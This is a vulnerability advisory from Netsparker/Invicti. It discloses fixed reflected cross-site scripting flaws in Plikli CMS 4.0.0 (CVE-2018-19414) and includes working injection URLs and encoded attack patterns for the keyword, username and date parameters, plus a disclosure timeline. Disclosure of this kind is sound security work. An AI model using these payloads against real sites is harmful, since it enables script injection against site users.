Multiple Cross-site Scripting Vulnerabilities in Plikli 4.0.0


Advisory by Netsparker (now Invicti)
Name: Cross-site Scripting Vulnerabilities in Plikli CMS
Affected Software: Plikli
Affected Versions: 4.0.0
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-19414
Invicti Advisory Reference: NS-18-030

Technical Details

Cross-site Scripting

URL: http://NSAppTest/plikli/groups.php?view=search&keyword='+netsparker(0x012CB7)+'
Proof URL: http://NSAppTest/plikli/groups.php?view=search&keyword='+alert(0x012CB7)+'
Parameter Name: keyword
Parameter Type: GET
Attack Pattern: %27%2bnetsparker(0x012CB7)%2b%27

URL: http://NSAppTest/plikli/login.php?return=/ScanApp/plikli/
Parameter Name: username
Parameter Type: POST
Attack Pattern: x%22+onmouseover%3dnetsparker(0x011C31)+x%3d%22

URL: http://NSAppTest/plikli/search.php?search=&scomments=1&stags=1&suser=1&date=</title><scRipt>netsparker(0x01608A)</scRipt>&date_to=&adv=1&advancesearch=Search &slink=3&scategory=3&sgroup=3&status=all
Parameter Name: date
Parameter Type: GET
Attack Pattern: %3c%2ftitle%3e%3cscRipt%3enetsparker(0x01608A)%3c%2fscRipt%3e

For more information on cross-site scripting vulnerabilities, read the section Cross-site scripting (XSS).

Advisory Timeline

13th Feb28th June 2018 – First Contact
3rd August 2018 – Vendor Fixed
4th December 2018- Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Invicti Web Application Security Scanner.

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